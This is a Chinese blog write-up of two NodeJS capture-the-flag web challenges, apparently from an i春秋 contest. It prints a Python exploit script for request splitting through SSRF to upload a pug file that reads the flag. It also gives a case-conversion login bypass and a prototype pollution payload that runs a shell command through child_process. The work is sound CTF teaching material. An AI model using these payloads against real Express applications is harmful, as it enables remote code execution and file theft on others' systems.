最近不管是国内还是国外的比赛,对于 NodeJS 或者是 Ruby 等语言知识点的考察都越来越多,即便以前没有学习过这些语言,也还是要有能在接到任务时简单学习语法之后能上手审计的能力。这一次比赛也不例外,有两道 NodeJS 的题。
以下两题均已在 BUUCTF 上线,各位可以直接到 https://buuoj.cn 创建靶机进行操作。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158263720486bfbe54487bc20b6a783865332b7d8c-1024x89.png)
一、Node Game
知识点:
- NodeJS 代码审计
- SSRF
- 请求夹带
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15826375619e481e6209e61bb10fdf4bd6177052f5-954x1024.png)
步骤:
1、打开靶机,是这样一个页面。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582637630000a9cfd2c7b235fb2c925b9ee93ccc7-1024x546.png)
2、那么就先来看看源码,右键页面查看源代码就有换行。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582637732db357008025e78dd50d60125458fad8f-1024x292.png)
Express 框架的代码写出来还是很清晰的,每个路径对应的代码时什么也都可以直接看到,所以我们挑重点来分析。
首先是这里,上传文件时先判断是否是 127.0.0.1 也就是本地请求,这里就很明确地告诉我们需要 SSRF 了,然后就是获取上传的文件,根据其传过去的 MIME 类型保存到指定目录。这里我们能控制,所以有路径穿越,任意文件上传了。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582638072ba2e0012345c8e1c5c0e51830eb83cac-1024x1011.png)
然后是这里,这里获取 q 参数然后怼在 /source? 后面进行访问,然后会把访问结果显示出来。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158263854848fd6de561cb50c8b628b9cd2ab19d6b-880x1024.png)
毫无疑问,上面这里就是 SSRF 点了,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞。
https://xz.aliyun.com/t/2894#toc-2
3、利用那个上传页面上传一个文件,burp suite 抓下包。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582647415e10c11a5e0af1a53a84053ae3dd82216-1024x210.png)
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15826475304247ea08552ed1b71084fcce368e99b3-1024x361.png)
4、然后上面的文件上传点代码,其有任意文件上传,就该考虑上传什么文件了,再回到源码看看,其有个 template 目录,而且在下面的首页路由里有接收 action 参数,会将 template 下的目录用 pug 引擎渲染。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15826477790a0b0b37d2518be4a680e810c44142c8-1024x304.png)
我们再来看看 pug 引擎的文档 https://pugjs.org/zh-cn/language/includes.html,里面有包含的语法,我们在引擎里包含一个文件就可以获取到这个文件的内容了。(其实也有执行 js 代码的语法,各位可以自己试试:))
5、所以就上传一个 pug 文件试试吧,这里直截了当,读一下 /flag.txt 试试。
在之前抓的包上 send repeater,然后在这里改包的内容,特别要注意 Content-Type 要改,还有上面的 Connection 必须改为 Keep-Alive,这样才能几个请求一起夹带进去。发送一下,然后把右边的 HTTP 包内容拷贝上。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582649340a136ddcd1721717c6c837b78e7bbc530-1024x705.png)
6、然后用下韩国哥们儿 https://blog.rwx.kr/nullcon-hackim-2020-split-second/ 的脚本,也是根据上面先知那篇文章里的内容相似的原理进行转码的,这里就改了改直接用了。
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: x
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Connection: keep-alive
cache-control: no-cache
Host: x
Content-Length: 292
----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="glzjin.pug"
Content-Type: /../template
doctype html
html
head
style
include ../../../../../../../flag.txt
----------------------------919695033422425209299810--
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://359cf259-855c-463b-98e1-bf1da5deffc5.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)
7、跑完脚本就可以 /?action=glzjin 访问下靶机,查看下这个页面源码。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15826493893f82586205ab374d150513222a880ab7-1024x194.png)
可以看到 flag 成功被包含了。
8、Flag 到手~
二、EzExpress
知识点:
- NodeJS 代码审计
- NodeJS 大小写转换特性
- NodeJS 原型链污染
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15826502477681139ce774c44a7db34966f342d57f-971x1024.png)
步骤:
1、打开靶机,有源码泄露 /www.zip,下载源码。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582650287d4d5640541b029b2f7ffa6ab2edc793a-895x1024.png)
2、打开源码包,主要审 routes 下路由的源码。
开头,看到 merge 和 clone,就想到以前听说过的原型链污染漏洞,一查还真是其他文章里的例子,就变了个变量名。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158265045552ea7cda7bbdd924a560e4508a976854-1024x438.png)
其他乍一看中规中矩,觉得就是一个注册登录,连数据库都没有。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582650395f9b5cfb57a38735355b200a7f90a295e-1024x1013.png)
注册这里会把用户名大写之后储存进 session。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582650717e2b6e85a52e4bf5f1993499bf3953a32-1024x673.png)
要注册成 ADMIN 才能触发 clone 进行原型链污染。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15826505211a33fa97c28228c49523e2e383a47729-1024x119.png)
但有限制,不让以 admin 注册。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158265098426f6d328ab3c1149ada920eca11fc7b7.png)
3、网上一搜,发现 NodeJS 花样真多,还真在大小写转换上有花样。
https://xz.aliyun.com/t/7184#toc-11
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582650830dc139fa26b93072448f20d1122e9aa7e-1024x623.png)
那么我们只需要把 admin 写成 admı
n 即可绕过上面的限制了。
4、尝试注册,成功。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15826510645a5831a49aab0d309a4bfd81adcd0168-1024x610.png)
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582651044d1272e87cf4ac10f2a02fc4b0220aeea-1024x286.png)
5、然后就该是原型链污染了。
看到代码里着重把 outputFunctionName 提溜出来,一定有事儿。
一查,一搜,果然,这里我就不自己跟了,大家有兴趣可以看下面这篇文章。
那么就把 Cookie 扒下来,自己构造一个请求吧。
POST /action HTTP/1.1
Host: dd8331c0-5f19-45b2-b93b-518759c6b4ef.node3.buuoj.cn
Content-Type: application/json
Cookie: session=s%3ASMpfuqe8eHPsM5KODRuLLUajN3SJb8N0.cp%2BEqeJRGrWDR%2F3HIjVvgrs5dGhmmYny2ySStSUvLX8
cache-control: no-cache
Postman-Token: 268ec28a-fa28-4ac4-8930-c7affc19ba7b
{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/glzjin');var __tmp2"}}------WebKitFormBoundary7MA4YWxkTrZu0gW--
这里执行的命令我选择将 flag 读到 public 目录下(cat /flag > /app/public/glzjin),网站的绝对路径可通过报错信息得知。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582651765aeace8df5013971b3fc023b4ee109f61-1024x499.png)
6、访问一下 /info,触发渲染。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158265183837eeead7cd002dd74764a4f58306a3d9-1024x392.png)
7、然后访问 /glzjin,flag 就下下来了。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158265189197a74ef4c6b7abe02c710cf35ba68cd4-1024x659.png)
8、Flag 到手~
以后还是得多多关注这些语言的特性,多了解一点,总用得上的~
NodeJS 的知识,这一篇文章真的总结得很好:
5 个评论
CrystalRays
我搜nodejs outputfunctionname啥都没发现,搜索引擎对我太不友好了2333
Leon
outputfunctionname是自定义的。。
ichunqiu战疫赛ezexpress复现记录 – roverdoge的知识小屋
[…] https://www.zhaoj.in/read-6462.html https://evi0s.com/2019/08/30/x-nuca-2019-web-wp/ […]
Glzjin
黄诗冰666
Glzjin
sdfkj454